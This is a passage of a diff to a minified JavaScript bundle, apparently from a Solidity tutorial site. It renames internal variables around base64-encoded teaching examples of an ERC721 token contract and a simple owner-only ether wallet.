ZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBnZXRBcHByb3ZlZCh1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBvcGVyYXRvcik7CiAgICBmdW5jdGlvbiBzZXRBcHByb3ZhbEZvckFsbChhZGRyZXNzIG9wZXJhdG9yLCBib29sIF9hcHByb3ZlZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBpc0FwcHJvdmVkRm9yQWxsKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgb3BlcmF0b3IpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJRVJDNzIxUmVjZWl2ZXIgewogICAgZnVuY3Rpb24gb25FUkM3MjFSZWNlaXZlZCgKICAgICAgICBhZGRyZXNzIG9wZXJhdG9yLAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCByZXR1cm5zIChieXRlczQpOwp9Cgpjb250cmFjdCBFUkM3MjEgaXMgSUVSQzcyMSB7CiAgICBldmVudCBUcmFuc2ZlcigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbEZvckFsbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBvcGVyYXRvciwgYm9vbCBhcHByb3ZlZAogICAgKTsKCiAgICAvLyBNYXBwaW5nIGZyb20gdG9rZW4gSUQgdG8gb3duZXIgYWRkcmVzcwogICAgbWFwcGluZyh1aW50MjU2ID0+IGFkZHJlc3MpIGludGVybmFsIF9vd25lck9mOwoKICAgIC8vIE1hcHBpbmcgb3duZXIgYWRkcmVzcyB0byB0b2tlbiBjb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIGludGVybmFsIF9iYWxhbmNlT2Y7CgogICAgLy8gTWFwcGluZyBmcm9tIHRva2VuIElEIHRvIGFwcHJvdmVkIGFkZHJlc3MKICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBpbnRlcm5hbCBfYXBwcm92YWxzOwoKICAgIC8vIE1hcHBpbmcgZnJvbSBvd25lciB0byBvcGVyYXRvciBhcHByb3ZhbHMKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gYm9vbCkpIHB1YmxpYyBpc0FwcHJvdmVkRm9yQWxsOwoKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJZCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHJldHVybiBpbnRlcmZhY2VJZCA9PSB0eXBlKElFUkM3MjEpLmludGVyZmFjZUlkCiAgICAgICAgICAgIHx8IGludGVyZmFjZUlkID09IHR5cGUoSUVSQzE2NSkuaW50ZXJmYWNlSWQ7CiAgICB9CgogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IGlkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3Mgb3duZXIpIHsKICAgICAgICBvd25lciA9IF9vd25lck9mW2lkXTsKICAgICAgICByZXF1aXJlKG93bmVyICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3Mgb3duZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgIm93bmVyID0gemVybyBhZGRyZXNzIik7CiAgICAgICAgcmV0dXJuIF9iYWxhbmNlT2Zbb3duZXJdOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldEFwcHJvdmFsRm9yQWxsKGFkZHJlc3Mgb3BlcmF0b3IsIGJvb2wgYXBwcm92ZWQpIGV4dGVybmFsIHsKICAgICAgICBpc0FwcHJvdmVkRm9yQWxsW21zZy5zZW5kZXJdW29wZXJhdG9yXSA9IGFwcHJvdmVkOwogICAgICAgIGVtaXQgQXBwcm92YWxGb3JBbGwobXNnLnNlbmRlciwgb3BlcmF0b3IsIGFwcHJvdmVkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBvd25lciB8fCBpc0FwcHJvdmVkRm9yQWxsW293bmVyXVttc2cuc2VuZGVyXSwKICAgICAgICAgICAgIm5vdCBhdXRob3JpemVkIgogICAgICAgICk7CgogICAgICAgIF9hcHByb3ZhbHNbaWRdID0gc3BlbmRlcjsKCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFwcHJvdmVkKHVpbnQyNTYgaWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICAgICAgcmV0dXJuIF9hcHByb3ZhbHNbaWRdOwogICAgfQoKICAgIGZ1bmN0aW9uIF9pc0FwcHJvdmVkT3JPd25lcihhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgaWQpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICBzcGVuZGVyID09IG93bmVyIHx8IGlzQXBwcm92ZWRGb3JBbGxbb3duZXJdW3NwZW5kZXJdCiAgICAgICAgICAgICAgICB8fCBzcGVuZGVyID09IF9hcHByb3ZhbHNbaWRdCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoZnJvbSA9PSBfb3duZXJPZltpZF0sICJmcm9tICE9IG93bmVyIik7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAidHJhbnNmZXIgdG8gemVybyBhZGRyZXNzIik7CgogICAgICAgIHJlcXVpcmUoX2lzQXBwcm92ZWRPck93bmVyKGZyb20sIG1zZy5zZW5kZXIsIGlkKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIF9iYWxhbmNlT2ZbZnJvbV0tLTsKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwCiAgICAgICAgICAgICAgICB8fCBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsICIiKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBmcm9tLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0cmFuc2ZlckZyb20oZnJvbSwgdG8sIGlkKTsKCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdG8uY29kZS5sZW5ndGggPT0gMAogICAgICAgICAgICAgICAgfHwgSUVSQzcyMVJlY2VpdmVyKHRvKS5vbkVSQzcyMVJlY2VpdmVkKG1zZy5zZW5kZXIsIGZyb20sIGlkLCBkYXRhKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgaWQpIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJtaW50IHRvIHplcm8gYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdID09IGFkZHJlc3MoMCksICJhbHJlYWR5IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBpZCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4odWludDI1NiBpZCkgaW50ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZShvd25lciAhPSBhZGRyZXNzKDApLCAibm90IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW293bmVyXSAtPSAxOwoKICAgICAgICBkZWxldGUgX293bmVyT2ZbaWRdOwogICAgICAgIGRlbGV0ZSBfYXBwcm92YWxzW2lkXTsKCiAgICAgICAgZW1pdCBUcmFuc2Zlcihvd25lciwgYWRkcmVzcygwKSwgaWQpOwogICAgfQp9Cgpjb250cmFjdCBNeU5GVCBpcyBFUkM3MjEgewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBleHRlcm5hbCB7CiAgICAgICAgX21pbnQodG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gX293bmVyT2ZbaWRdLCAibm90IG93bmVyIik7CiAgICAgICAgX2J1cm4oaWQpOwogICAgfQp9Cg=="}],cA=`

          Example of ERC721

          +`,sA=({prev:s,next:a})=>r.jsx(A,{version:Lj,title:Oj,description:Pj,html:qj,prev:s,next:a,codes:$j}),aA="0.8.24",nA="ERC721",lA="Example of ERC721 non fungible token in Solidity",pA=[{fileName:"ERC721.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMTY1IHsKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJRCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElFUkM3MjEgaXMgSUVSQzE2NSB7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2IGJhbGFuY2UpOwogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IHRva2VuSWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyBvd25lcik7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiB0b2tlbklkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBnZXRBcHByb3ZlZCh1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBvcGVyYXRvcik7CiAgICBmdW5jdGlvbiBzZXRBcHByb3ZhbEZvckFsbChhZGRyZXNzIG9wZXJhdG9yLCBib29sIF9hcHByb3ZlZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBpc0FwcHJvdmVkRm9yQWxsKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgb3BlcmF0b3IpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJRVJDNzIxUmVjZWl2ZXIgewogICAgZnVuY3Rpb24gb25FUkM3MjFSZWNlaXZlZCgKICAgICAgICBhZGRyZXNzIG9wZXJhdG9yLAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCByZXR1cm5zIChieXRlczQpOwp9Cgpjb250cmFjdCBFUkM3MjEgaXMgSUVSQzcyMSB7CiAgICBldmVudCBUcmFuc2ZlcigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbEZvckFsbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBvcGVyYXRvciwgYm9vbCBhcHByb3ZlZAogICAgKTsKCiAgICAvLyBNYXBwaW5nIGZyb20gdG9rZW4gSUQgdG8gb3duZXIgYWRkcmVzcwogICAgbWFwcGluZyh1aW50MjU2ID0+IGFkZHJlc3MpIGludGVybmFsIF9vd25lck9mOwoKICAgIC8vIE1hcHBpbmcgb3duZXIgYWRkcmVzcyB0byB0b2tlbiBjb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIGludGVybmFsIF9iYWxhbmNlT2Y7CgogICAgLy8gTWFwcGluZyBmcm9tIHRva2VuIElEIHRvIGFwcHJvdmVkIGFkZHJlc3MKICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBpbnRlcm5hbCBfYXBwcm92YWxzOwoKICAgIC8vIE1hcHBpbmcgZnJvbSBvd25lciB0byBvcGVyYXRvciBhcHByb3ZhbHMKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gYm9vbCkpIHB1YmxpYyBpc0FwcHJvdmVkRm9yQWxsOwoKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJZCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHJldHVybiBpbnRlcmZhY2VJZCA9PSB0eXBlKElFUkM3MjEpLmludGVyZmFjZUlkCiAgICAgICAgICAgIHx8IGludGVyZmFjZUlkID09IHR5cGUoSUVSQzE2NSkuaW50ZXJmYWNlSWQ7CiAgICB9CgogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IGlkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3Mgb3duZXIpIHsKICAgICAgICBvd25lciA9IF9vd25lck9mW2lkXTsKICAgICAgICByZXF1aXJlKG93bmVyICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3Mgb3duZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgIm93bmVyID0gemVybyBhZGRyZXNzIik7CiAgICAgICAgcmV0dXJuIF9iYWxhbmNlT2Zbb3duZXJdOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldEFwcHJvdmFsRm9yQWxsKGFkZHJlc3Mgb3BlcmF0b3IsIGJvb2wgYXBwcm92ZWQpIGV4dGVybmFsIHsKICAgICAgICBpc0FwcHJvdmVkRm9yQWxsW21zZy5zZW5kZXJdW29wZXJhdG9yXSA9IGFwcHJvdmVkOwogICAgICAgIGVtaXQgQXBwcm92YWxGb3JBbGwobXNnLnNlbmRlciwgb3BlcmF0b3IsIGFwcHJvdmVkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBvd25lciB8fCBpc0FwcHJvdmVkRm9yQWxsW293bmVyXVttc2cuc2VuZGVyXSwKICAgICAgICAgICAgIm5vdCBhdXRob3JpemVkIgogICAgICAgICk7CgogICAgICAgIF9hcHByb3ZhbHNbaWRdID0gc3BlbmRlcjsKCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFwcHJvdmVkKHVpbnQyNTYgaWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICAgICAgcmV0dXJuIF9hcHByb3ZhbHNbaWRdOwogICAgfQoKICAgIGZ1bmN0aW9uIF9pc0FwcHJvdmVkT3JPd25lcihhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgaWQpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICBzcGVuZGVyID09IG93bmVyIHx8IGlzQXBwcm92ZWRGb3JBbGxbb3duZXJdW3NwZW5kZXJdCiAgICAgICAgICAgICAgICB8fCBzcGVuZGVyID09IF9hcHByb3ZhbHNbaWRdCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoZnJvbSA9PSBfb3duZXJPZltpZF0sICJmcm9tICE9IG93bmVyIik7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAidHJhbnNmZXIgdG8gemVybyBhZGRyZXNzIik7CgogICAgICAgIHJlcXVpcmUoX2lzQXBwcm92ZWRPck93bmVyKGZyb20sIG1zZy5zZW5kZXIsIGlkKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIF9iYWxhbmNlT2ZbZnJvbV0tLTsKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwCiAgICAgICAgICAgICAgICB8fCBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsICIiKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBmcm9tLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0cmFuc2ZlckZyb20oZnJvbSwgdG8sIGlkKTsKCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdG8uY29kZS5sZW5ndGggPT0gMAogICAgICAgICAgICAgICAgfHwgSUVSQzcyMVJlY2VpdmVyKHRvKS5vbkVSQzcyMVJlY2VpdmVkKG1zZy5zZW5kZXIsIGZyb20sIGlkLCBkYXRhKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgaWQpIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJtaW50IHRvIHplcm8gYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdID09IGFkZHJlc3MoMCksICJhbHJlYWR5IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBpZCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4odWludDI1NiBpZCkgaW50ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZShvd25lciAhPSBhZGRyZXNzKDApLCAibm90IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW293bmVyXSAtPSAxOwoKICAgICAgICBkZWxldGUgX293bmVyT2ZbaWRdOwogICAgICAgIGRlbGV0ZSBfYXBwcm92YWxzW2lkXTsKCiAgICAgICAgZW1pdCBUcmFuc2Zlcihvd25lciwgYWRkcmVzcygwKSwgaWQpOwogICAgfQp9Cgpjb250cmFjdCBNeU5GVCBpcyBFUkM3MjEgewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBleHRlcm5hbCB7CiAgICAgICAgX21pbnQodG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gX293bmVyT2ZbaWRdLCAibm90IG93bmVyIik7CiAgICAgICAgX2J1cm4oaWQpOwogICAgfQp9Cg=="}],eA=`

          Example of ERC721

          // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -1971,7 +1971,7 @@ How to swap tokens
         _burn(id);
     }
 }
-
          `,tA=({prev:s,next:a})=>r.jsx(A,{version:nA,title:lA,description:pA,html:cA,prev:s,next:a,codes:eA}),oA="0.8.24",rA="Ether Wallet",iA="Simple example of wallet in Solidity",gA=[{fileName:"EtherWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyV2FsbGV0IHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAiY2FsbGVyIGlzIG5vdCBvd25lciIpOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],hA=`

          An example of a basic wallet.

          +`,cA=({prev:s,next:a})=>r.jsx(A,{version:aA,title:nA,description:lA,html:eA,prev:s,next:a,codes:pA}),tA="0.8.24",oA="Ether Wallet",rA="Simple example of wallet in Solidity",iA=[{fileName:"EtherWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyV2FsbGV0IHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAiY2FsbGVyIGlzIG5vdCBvd25lciIpOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],gA=`

          An example of a basic wallet.

          • Anyone can send ETH.
          • Only the owner can withdraw.
            • @@ -1997,7 +1997,7 @@ How to swap tokens return address(this).balance; } } -`,IA=({prev:s,next:a})=>r.jsx(A,{version:oA,title:rA,description:iA,html:hA,prev:s,next:a,codes:gA}),dA="0.8.24",CA="Gasless Token Transfer",jA="Gasless ERC20 token transfer with Meta 